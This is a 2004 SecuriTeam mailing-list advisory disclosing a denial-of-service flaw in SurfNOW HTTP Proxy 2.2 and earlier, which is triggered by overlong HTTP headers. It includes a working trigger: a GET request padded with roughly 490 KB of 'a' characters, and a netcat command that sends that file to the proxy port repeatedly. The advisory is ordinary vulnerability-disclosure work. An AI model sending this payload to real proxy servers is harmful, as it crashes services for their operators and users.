[NT] SurfNOW HTTP Proxy Denial Of Service

From: SecuriTeam (support_at_securiteam.com)
Date: 01/29/04 

To: list@securiteam.com
Date: 29 Jan 2004 19:38:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  SurfNOW HTTP Proxy Denial Of Service
------------------------------------------------------------------------

SUMMARY

 <http://www.loomsoft.com/> SurfNOW is "a simple local HTTP Proxy Server
(running on your computer) without cache. SurfNOW protects your privacy
while on the Internet as well as speeds up your downloads. It can also
completely hide your IP address by dynamically connecting to
non-transparent anonymizing public proxy servers."

A bug in the way SurfNOW handles long HTTP headers could lead to a
denial-of-service condition, if a carefully crafted long string is sent.

DETAILS

Vulnerable Systems:
 * SurfNOW version 2.2 or prior

Sending a very long HTTP request would cause SurfNOW to stop working
properly. For example, the following HTTP request:

GET \aaaaaaaaaaaaa[ 490 kb of a ]aaaa HTTP/1.1\n\n\n

NOTE: 490Kb of the character 'a' is being sent.

It is possible to test this bug in another way using NetCat, repetitively:

nc -v -v host 8080 < testFile.txt
( note: "testFile.txt" is a file of 490 Kb as [1] )

Vendor Status:
The vendor has been notified and the bug will be fixed in the next
version. Stay tuned to the vendor's page.

ADDITIONAL INFORMATION

The information has been provided by <mailto:fdonato@autistici.org>
Donato Ferrante

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